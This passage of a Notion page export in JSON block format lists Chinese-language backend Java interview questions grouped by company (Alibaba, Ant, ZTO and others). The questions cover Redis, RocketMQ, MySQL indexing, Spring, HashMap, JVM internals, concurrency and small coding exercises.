3015,"last_edited_time":1712329333015,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"06d5512c-4acf-4cd3-a565-164d8f697082":{"value":{"id":"06d5512c-4acf-4cd3-a565-164d8f697082","type":"bulleted_list","properties":{"title":[["es的geo circle是什么,有什么作用"]]},"created_time":1712329333015,"last_edited_time":1712329333015,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"70d55d02-2b45-45c4-92b8-dca8d1d1d96b":{"value":{"id":"70d55d02-2b45-45c4-92b8-dca8d1d1d96b","type":"bulleted_list","properties":{"title":[["为什么用redis做缓存,为什么不用本地缓存"]]},"created_time":1712329333015,"last_edited_time":1712329333015,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"32efd8b9-818d-4882-b5be-0fc76e6f30d4":{"value":{"id":"32efd8b9-818d-4882-b5be-0fc76e6f30d4","type":"bulleted_list","properties":{"title":[["为什么用rocketmq消费打点,技术选型怎么考虑的"]]},"created_time":1712329333015,"last_edited_time":1712329333015,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2338eaab-570f-4bce-9fae-85d54a180231":{"value":{"id":"2338eaab-570f-4bce-9fae-85d54a180231","type":"bulleted_list","properties":{"title":[["rocketmq和kafka的区别,各自底层是怎么实现的"]]},"created_time":1712329333015,"last_edited_time":1712329333015,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"126bc064-d186-4277-8963-65a7dd7a5cd2":{"value":{"id":"126bc064-d186-4277-8963-65a7dd7a5cd2","type":"bulleted_list","properties":{"title":[["笔试题:手写BlockingQueue"]]},"created_time":1712329333016,"last_edited_time":1712329333016,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a4c847f8-1a71-4eba-b612-5e413ad11d5d":{"value":{"id":"a4c847f8-1a71-4eba-b612-5e413ad11d5d","type":"bulleted_list","properties":{"title":[["介绍一下广告系统,在纸上画一下整个链路的流程图"]]},"created_time":1712329333016,"last_edited_time":1712329333016,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b77a66bb-a7a2-4a07-a4d7-c37e4402f1ce":{"value":{"id":"b77a66bb-a7a2-4a07-a4d7-c37e4402f1ce","type":"bulleted_list","properties":{"title":[["投放的广告类型有哪些,竞价排名还是包段?"]]},"created_time":1712329333016,"last_edited_time":1712329333016,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"07c5f48d-fde3-4202-8cc0-48a5dd5fadc6":{"value":{"id":"07c5f48d-fde3-4202-8cc0-48a5dd5fadc6","type":"bulleted_list","properties":{"title":[["代码/性能优化怎么做的,过滤模块怎么设计的"]]},"created_time":1712329333016,"last_edited_time":1712329333016,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cdfbc473-7c0c-427c-adea-926e36199764":{"value":{"id":"cdfbc473-7c0c-427c-adea-926e36199764","type":"bulleted_list","properties":{"title":[["运营投放广告的策略是什么样的"]]},"created_time":1712329333016,"last_edited_time":1712329333016,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1d77d390-6d4e-4ff4-b875-7ef199c11571":{"value":{"id":"1d77d390-6d4e-4ff4-b875-7ef199c11571","type":"bulleted_list","properties":{"title":[["介绍一下电商项目"]]},"created_time":1712329333017,"last_edited_time":1712329333017,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"891c94fe-86cb-44e3-b03d-cf2fdd56b8f3":{"value":{"id":"891c94fe-86cb-44e3-b03d-cf2fdd56b8f3","type":"bulleted_list","properties":{"title":[["笔试题:字符串转数字"]]},"created_time":1712329333017,"last_edited_time":1712329333017,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e5fbc3ae-edc3-445d-b722-2c86acccee67":{"value":{"id":"e5fbc3ae-edc3-445d-b722-2c86acccee67","type":"bulleted_list","properties":{"title":[["笔试题:两个有序链表合并"]]},"created_time":1712329333017,"last_edited_time":1712329333017,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e816612c-ed57-4fa3-98c5-130c21c3affb":{"value":{"id":"e816612c-ed57-4fa3-98c5-130c21c3affb","type":"bulleted_list","properties":{"title":[["笔试题:三个有序链表合并"]]},"created_time":1712329333017,"last_edited_time":1712329333017,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9a9592cf-9dce-43f7-a186-921f861478e3":{"value":{"id":"9a9592cf-9dce-43f7-a186-921f861478e3","type":"bulleted_list","properties":{"title":[["介绍了美团的团队情况"]]},"created_time":1712329333017,"last_edited_time":1712329333017,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"aeb0325a-59d6-45e0-a584-2ea536c8b30a":{"value":{"id":"aeb0325a-59d6-45e0-a584-2ea536c8b30a","type":"bulleted_list","properties":{"title":[["讲一下广告系统"]]},"created_time":1712329333018,"last_edited_time":1712329333018,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"33c428b8-26b6-4383-98d8-bb062347948d":{"value":{"id":"33c428b8-26b6-4383-98d8-bb062347948d","type":"bulleted_list","properties":{"title":[["运营有哪些方式统计广告收益"]]},"created_time":1712329333018,"last_edited_time":1712329333018,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"136e5e0f-0d81-48c6-83bb-0dede89d9494":{"value":{"id":"136e5e0f-0d81-48c6-83bb-0dede89d9494","type":"bulleted_list","properties":{"title":[["原来的接口耗时是多少,现在又是多少,原来性能差的原因是什么,支持的最大qps是多少"]]},"created_time":1712329333018,"last_edited_time":1712329333018,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"27312ad1-dc72-4113-8c16-862e6d5b5cf5":{"value":{"id":"27312ad1-dc72-4113-8c16-862e6d5b5cf5","type":"bulleted_list","properties":{"title":[["广告日曝光量在多少量级"]]},"created_time":1712329333018,"last_edited_time":1712329333018,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ebfdf2c1-b25d-4e83-a6a1-cb9c3ab837ad":{"value":{"id":"ebfdf2c1-b25d-4e83-a6a1-cb9c3ab837ad","type":"bulleted_list","properties":{"title":[["介绍一下电商项目"]]},"created_time":1712329333018,"last_edited_time":1712329333018,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3b3d2b5e-85be-4607-ac9f-41ff532a68b7":{"value":{"id":"3b3d2b5e-85be-4607-ac9f-41ff532a68b7","type":"bulleted_list","properties":{"title":[["笔试题:身高排序,不知道具体身高,只知道两两之间的顺序关系(A >B A\n> C C > B B > D)"]]},"created_time":1712329333019,"last_edited_time":1712329333019,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c1743086-3100-45be-b0b7-85cda9cd846d":{"value":{"id":"c1743086-3100-45be-b0b7-85cda9cd846d","type":"bulleted_list","properties":{"title":[["Maven依赖冲突怎么解决"]]},"created_time":1712329333020,"last_edited_time":1712329333020,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6e20d862-4ece-45a6-b5cb-a48607c6768b":{"value":{"id":"6e20d862-4ece-45a6-b5cb-a48607c6768b","type":"bulleted_list","properties":{"title":[["Spring IOC 有哪些扩展点"]]},"created_time":1712329333020,"last_edited_time":1712329333020,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"00120d03-2f87-441b-bed8-a89085807124":{"value":{"id":"00120d03-2f87-441b-bed8-a89085807124","type":"bulleted_list","properties":{"title":[["java SPI机制"]]},"created_time":1712329333020,"last_edited_time":1712329333020,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c7f1394b-4b7a-4d26-9ea2-df9cecafe8ae":{"value":{"id":"c7f1394b-4b7a-4d26-9ea2-df9cecafe8ae","type":"bulleted_list","properties":{"title":[["java历史上有三次破坏双亲委派模型,是哪三次"]]},"created_time":1712329333020,"last_edited_time":1712329333020,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c624645b-2a98-4690-9c99-3c8665936385":{"value":{"id":"c624645b-2a98-4690-9c99-3c8665936385","type":"header","properties":{"title":[["44.阿里"]]},"created_time":1712329333021,"last_edited_time":1712456470079,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"775c0066-f74b-421c-829b-5d08f139adf8":{"value":{"id":"775c0066-f74b-421c-829b-5d08f139adf8","type":"bulleted_list","properties":{"title":[["如何保证系统的稳定性?限流,降级熔断,多节点,报警信息。"]]},"created_time":1712329333022,"last_edited_time":1712456368134,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9e5968df-4332-4e3a-92ad-f3c45db9dd43":{"value":{"id":"9e5968df-4332-4e3a-92ad-f3c45db9dd43","type":"bulleted_list","properties":{"title":[["限流算法有那些?令牌桶设置为10 代表 QPS最大是10吗?如何选择集群限流和单体限流?(都用上)熔断降级区别是什么?除了这些你还有什么想要补充的吗?"]]},"created_time":1712329333023,"last_edited_time":1712456384329,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"67562ff4-bdd8-4c2f-99fd-2a5670f22a5e":{"value":{"id":"67562ff4-bdd8-4c2f-99fd-2a5670f22a5e","type":"bulleted_list","properties":{"title":[["分布式事务,你们项目中的解决方案,说一种你认为QPS 最高的分布式事务的解决方案。"]]},"created_time":1712329333023,"last_edited_time":1712456389991,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"22c1c92c-9dae-4424-8383-6b5e728b35a8":{"value":{"id":"22c1c92c-9dae-4424-8383-6b5e728b35a8","type":"bulleted_list","properties":{"title":[["redis,项目中redis用来做什么了?redis 还能干嘛。(说了一下五种数据结构的用途,还有分布式锁。)redis 单线程为啥快?多线程会有哪些问题?分布式锁聊一下。redis 如何实现 可重入锁?"]]},"created_time":1712329333024,"last_edited_time":1712456408935,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ff70b9f5-4b81-4fc5-88ac-74c277cec518":{"value":{"id":"ff70b9f5-4b81-4fc5-88ac-74c277cec518","type":"bulleted_list","properties":{"title":[["MQ在项目中的用途。消息写不进去怎么办?消息消费不了怎么办?消息什么情况下消息会出现丢失的情况?什么时候消息会出现重新投递的情况。顺序消息如何保证? 如果不写入同一个queue如何保证消息顺序消费?"]]},"created_time":1712329333025,"last_edited_time":1712456431842,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5846a1a1-cb43-4033-9270-4b6ed4ea7c35":{"value":{"id":"5846a1a1-cb43-4033-9270-4b6ed4ea7c35","type":"bulleted_list","properties":{"title":[["RocketMQ 为什么快?mmap 和 sendfile 区别。DMA getter 机制的引入。"]]},"created_time":1712329333026,"last_edited_time":1712456437623,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"77b72589-2c75-4d4d-a649-b66005f0c747":{"value":{"id":"77b72589-2c75-4d4d-a649-b66005f0c747","type":"bulleted_list","properties":{"title":[["分库分表了解过吗?如何分库分表?"]]},"created_time":1712329333026,"last_edited_time":1712456439789,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"837879d5-b307-4132-bf25-e1cc58f910a5":{"value":{"id":"837879d5-b307-4132-bf25-e1cc58f910a5","type":"bulleted_list","properties":{"title":[["DDD 了解过吗?"]]},"created_time":1712329333026,"last_edited_time":1712329333026,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4daeb622-dfcc-466e-980b-87ba391032d3":{"value":{"id":"4daeb622-dfcc-466e-980b-87ba391032d3","type":"header","properties":{"title":[["45.蚂蚁"]]},"created_time":1712329333027,"last_edited_time":1712456478342,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"18e0e0ad-6d2d-4a03-8c23-2c8e5d9cf2d4":{"value":{"id":"18e0e0ad-6d2d-4a03-8c23-2c8e5d9cf2d4","type":"bulleted_list","properties":{"title":[["你用到了mongodb,是怎么解决大数据量下读写效率的?"]]},"created_time":1712329333027,"last_edited_time":1712329333027,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7689ba5c-b503-49e4-a221-5bf4056cb028":{"value":{"id":"7689ba5c-b503-49e4-a221-5bf4056cb028","type":"bulleted_list","properties":{"title":[["为什么用mongodb存储而没有选择mysql?"]]},"created_time":1712329333028,"last_edited_time":1712329333028,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d1fa8226-8536-4fdb-b8aa-e9e58dff54b0":{"value":{"id":"d1fa8226-8536-4fdb-b8aa-e9e58dff54b0","type":"bulleted_list","properties":{"title":[["MySql的索引有哪些?聚簇索引和非聚簇索引有什么区别?"]]},"created_time":1712329333028,"last_edited_time":1712329333028,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"44b33027-e57d-4751-961a-9823bcd17182":{"value":{"id":"44b33027-e57d-4751-961a-9823bcd17182","type":"bulleted_list","properties":{"title":[["如何优化一个sql?"]]},"created_time":1712329333028,"last_edited_time":1712329333028,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e7263c29-f72b-4e9d-bf1e-1160d3bb0d2b":{"value":{"id":"e7263c29-f72b-4e9d-bf1e-1160d3bb0d2b","type":"bulleted_list","properties":{"title":[["说下什么是最左匹配?"]]},"created_time":1712329333028,"last_edited_time":1712329333028,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d0046959-cde1-462f-9e16-d8d3c4d606b5":{"value":{"id":"d0046959-cde1-462f-9e16-d8d3c4d606b5","type":"bulleted_list","properties":{"title":[["单机场景下,如何解决并发问题?"]]},"created_time":1712329333028,"last_edited_time":1712329333028,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a600b3c6-648e-49ea-8419-4da4cd76feec":{"value":{"id":"a600b3c6-648e-49ea-8419-4da4cd76feec","type":"bulleted_list","properties":{"title":[["Reentrantlock,和ReentrantWriteReadlock 有什么区别?"]]},"created_time":1712329333028,"last_edited_time":1712329333028,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"99d9683e-1c29-4761-84de-3fb287433965":{"value":{"id":"99d9683e-1c29-4761-84de-3fb287433965","type":"bulleted_list","properties":{"title":[["从线程安全角度来聊下string,stringbuffer和stringbuilder有什么区别?"]]},"created_time":1712329333029,"last_edited_time":1712329333029,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"418c98d1-be56-4323-94e5-f293950b29ee":{"value":{"id":"418c98d1-be56-4323-94e5-f293950b29ee","type":"bulleted_list","properties":{"title":[["分布式场景下如何解决并发安全问题?redis和zk具体是怎么实现分布式锁的?"]]},"created_time":1712329333029,"last_edited_time":1712329333029,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"de0d5f15-fdf4-48fe-b6fc-7e04d365b204":{"value":{"id":"de0d5f15-fdf4-48fe-b6fc-7e04d365b204","type":"bulleted_list","properties":{"title":[["事务有哪些特性?怎么理解本地事务和分布式事务?"]]},"created_time":1712329333029,"last_edited_time":1712329333029,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"97dbcc63-5a52-4307-a6e5-3f8e68a6b577":{"value":{"id":"97dbcc63-5a52-4307-a6e5-3f8e68a6b577","type":"bulleted_list","properties":{"title":[["能聊下TCC吗?"]]},"created_time":1712329333029,"last_edited_time":1712329333029,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0ece2eab-740c-4551-a6e7-87f856e92bd2":{"value":{"id":"0ece2eab-740c-4551-a6e7-87f856e92bd2","type":"bulleted_list","properties":{"title":[["说下springioc的原理和事务传播行为哪些?"]]},"created_time":1712329333029,"last_edited_time":1712329333029,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"68b2146e-2966-4a18-a13e-c003d149380e":{"value":{"id":"68b2146e-2966-4a18-a13e-c003d149380e","type":"bulleted_list","properties":{"title":[["static变量,static静态代码块,构造函数,执行顺序?"]]},"created_time":1712329333029,"last_edited_time":1712329333029,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8fb25671-e554-4b49-8343-361670fe5a4d":{"value":{"id":"8fb25671-e554-4b49-8343-361670fe5a4d","type":"bulleted_list","properties":{"title":[["怎么理解rocketmq推拉模式?"]]},"created_time":1712329333030,"last_edited_time":1712329333030,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1049736d-749b-4891-a695-c975a21a7085":{"value":{"id":"1049736d-749b-4891-a695-c975a21a7085","type":"bulleted_list","properties":{"title":[["如何保证消息的可靠性?"]]},"created_time":1712329333030,"last_edited_time":1712329333030,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"877f5915-1e0f-44c9-aaa4-24b68a70b8c5":{"value":{"id":"877f5915-1e0f-44c9-aaa4-24b68a70b8c5","type":"bulleted_list","properties":{"title":[["了解过RPC框架吗?"]]},"created_time":1712329333030,"last_edited_time":1712329333030,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6ca7602a-6256-47f0-8545-a14883c9153b":{"value":{"id":"6ca7602a-6256-47f0-8545-a14883c9153b","type":"bulleted_list","properties":{"title":[["Get请求和Post请求有什么区别?"]]},"created_time":1712329333030,"last_edited_time":1712329333030,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fa779ba4-7b10-4858-844e-21f7cf620b1c":{"value":{"id":"fa779ba4-7b10-4858-844e-21f7cf620b1c","type":"bulleted_list","properties":{"title":[["Http和Https有什么区别?"]]},"created_time":1712329333030,"last_edited_time":1712329333030,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"95de20c7-7bf2-44ee-97ec-a28da9a27d1f":{"value":{"id":"95de20c7-7bf2-44ee-97ec-a28da9a27d1f","type":"bulleted_list","properties":{"title":[["说下Hashmap在put的时候执行流程?"]]},"created_time":1712329333030,"last_edited_time":1712329333030,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e63ccbb0-9f8b-48df-aa25-3ec24b53cfdb":{"value":{"id":"e63ccbb0-9f8b-48df-aa25-3ec24b53cfdb","type":"bulleted_list","properties":{"title":[["Hashmap put的时候,key能等于null吗"]]},"created_time":1712329333031,"last_edited_time":1712329333031,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"87729413-4d36-4b63-ab9d-fb89c2a9fa3e":{"value":{"id":"87729413-4d36-4b63-ab9d-fb89c2a9fa3e","type":"bulleted_list","properties":{"title":[["Hashmap为什么要重写hashcode和equals方法"]]},"created_time":1712329333031,"last_edited_time":1712329333031,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bb153bd6-35f1-4bf9-b644-6bf14f4bc514":{"value":{"id":"bb153bd6-35f1-4bf9-b644-6bf14f4bc514","type":"bulleted_list","properties":{"title":[["说下常用的linux命令"]]},"created_time":1712329333031,"last_edited_time":1712329333031,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"af41f925-4353-4664-890c-b88438374eb9":{"value":{"id":"af41f925-4353-4664-890c-b88438374eb9","type":"header","properties":{"title":[["46.中通"]]},"created_time":1712329333031,"last_edited_time":1712456510132,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"02599a3a-8b0e-45aa-afc5-86cf0bc93790":{"value":{"id":"02599a3a-8b0e-45aa-afc5-86cf0bc93790","type":"bulleted_list","properties":{"title":[["Synchronize1原理"]]},"created_time":1712329333031,"last_edited_time":1712329333031,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"868f1a2b-d362-4282-ad5a-c7a21efddc69":{"value":{"id":"868f1a2b-d362-4282-ad5a-c7a21efddc69","type":"bulleted_list","properties":{"title":[["Synchronize是重入锁吗?原理是什么?"]]},"created_time":1712329333031,"last_edited_time":1712329333031,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1dcd0518-5fd5-4792-af4a-6f9d0bfe9313":{"value":{"id":"1dcd0518-5fd5-4792-af4a-6f9d0bfe9313","type":"bulleted_list","properties":{"title":[["Synchronize的锁升级"]]},"created_time":1712329333032,"last_edited_time":1712329333032,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7826035c-60c4-48f9-893f-51689ce8497a":{"value":{"id":"7826035c-60c4-48f9-893f-51689ce8497a","type":"bulleted_list","properties":{"title":[["Synchronize和Reentrantlock区别"]]},"created_time":1712329333032,"last_edited_time":1712329333032,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2016d22f-5110-41a4-9234-3bf8d2de25b0":{"value":{"id":"2016d22f-5110-41a4-9234-3bf8d2de25b0","type":"bulleted_list","properties":{"title":[["AQS了解吗"]]},"created_time":1712329333032,"last_edited_time":1712329333032,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9a7a2593-7579-4ff2-ae7a-53d46bd8c218":{"value":{"id":"9a7a2593-7579-4ff2-ae7a-53d46bd8c218","type":"bulleted_list","properties":{"title":[["线程池有哪些参数?"]]},"created_time":1712329333032,"last_edited_time":1712329333032,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d29a72ab-5247-4d96-9430-5b9b54b9873d":{"value":{"id":"d29a72ab-5247-4d96-9430-5b9b54b9873d","type":"bulleted_list","properties":{"title":[["线程池原理"]]},"created_time":1712329333032,"last_edited_time":1712329333032,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"093930af-aa23-47c5-a7b9-93cd60a68d3c":{"value":{"id":"093930af-aa23-47c5-a7b9-93cd60a68d3c","type":"bulleted_list","properties":{"title":[["Threadlocal在项目中的应用场景,内存泄露"]]},"created_time":1712329333033,"last_edited_time":1712329333033,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"86ce4c3e-475f-4d02-a804-85ced1e58d51":{"value":{"id":"86ce4c3e-475f-4d02-a804-85ced1e58d51","type":"bulleted_list","properties":{"title":[["Java 引用类型"]]},"created_time":1712329333033,"last_edited_time":1712329333033,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"81f554a7-e650-4f25-a89b-0a75fb9c4953":{"value":{"id":"81f554a7-e650-4f25-a89b-0a75fb9c4953","type":"bulleted_list","properties":{"title":[["HashMap线程不安全具体体现在哪?1.8以后优化了哪些?"]]},"created_time":1712329333033,"last_edited_time":1712329333033,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"601fd343-c172-46d2-9fc2-b89a7641c90c":{"value":{"id":"601fd343-c172-46d2-9fc2-b89a7641c90c","type":"bulleted_list","properties":{"title":[["List的查询时间复杂度多少?双向链表和单向链表相比有哪些优缺点?"]]},"created_time":1712329333033,"last_edited_time":1712329333033,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6d2b4831-93fa-4f2d-b6e5-7e9a93e45e4c":{"value":{"id":"6d2b4831-93fa-4f2d-b6e5-7e9a93e45e4c","type":"bulleted_list","properties":{"title":[["ConcurrentHashMap是怎么解决线程不安全的问题?和HashTable相比优点是什么?"]]},"created_time":1712329333033,"last_edited_time":1712329333033,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6a9b69ef-4a03-4808-b617-d976589ff887":{"value":{"id":"6a9b69ef-4a03-4808-b617-d976589ff887","type":"bulleted_list","properties":{"title":[["类加载过程,类加载机制(双亲委派机制)"]]},"created_time":1712329333034,"last_edited_time":1712329333034,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0585d2b7-f03d-471e-83fd-af380e767287":{"value":{"id":"0585d2b7-f03d-471e-83fd-af380e767287","type":"bulleted_list","properties":{"title":[["JVM内存模型,哪些是线程私有的,哪些是线程共享的"]]},"created_time":1712329333034,"last_edited_time":1712329333034,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7a72450a-3c9c-497f-ac71-00d0c96bf746":{"value":{"id":"7a72450a-3c9c-497f-ac71-00d0c96bf746","type":"bulleted_list","properties":{"title":[["现在生产环境用的是什么垃圾回收器?"]]},"created_time":1712329333034,"last_edited_time":1712329333034,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8d8f3175-d107-4c50-8c2e-e04f5f12bc34":{"value":{"id":"8d8f3175-d107-4c50-8c2e-e04f5f12bc34","type":"bulleted_list","properties":{"title":[["你有没有解决过生产环境的jvm调优问题?"]]},"created_time":1712329333034,"last_edited_time":1712329333034,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a961f973-aade-4a11-a493-22eedd2bda1b":{"value":{"id":"a961f973-aade-4a11-a493-22eedd2bda1b","type":"bulleted_list","properties":{"title":[["MySQL乐观锁和悲观锁"]]},"created_time":1712329333034,"last_edited_time":1712329333034,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7e5c58d8-0675-4d7d-85fe-e9966774196f":{"value":{"id":"7e5c58d8-0675-4d7d-85fe-e9966774196f","type":"bulleted_list","properties":{"title":[["Mysql索引类型有哪些?"]]},"created_time":1712329333034,"last_edited_time":1712329333034,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3cf5c06d-011e-4214-bcca-20a1d6ef057d":{"value":{"id":"3cf5c06d-011e-4214-bcca-20a1d6ef057d","type":"bulleted_list","properties":{"title":[["主键索引和唯一索引一样吗?"]]},"created_time":1712329333035,"last_edited_time":1712329333035,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7cbc5505-8e31-4469-88c8-34d87e72abbc":{"value":{"id":"7cbc5505-8e31-4469-88c8-34d87e72abbc","type":"bulleted_list","properties":{"title":[["说一下sql优化一般都怎么做"]]},"created_time":1712329333035,"last_edited_time":1712329333035,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b9715c06-29a6-428c-8592-9b20c8f4b297":{"value":{"id":"b9715c06-29a6-428c-8592-9b20c8f4b297","type":"bulleted_list","properties":{"title":[["explain哪些核心参数"]]},"created_time":1712329333035,"last_edited_time":1712329333035,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7c25924f-6758-4a9c-b084-4145c7d247ee":{"value":{"id":"7c25924f-6758-4a9c-b084-4145c7d247ee","type":"bulleted_list","properties":{"title":[["Mybatis 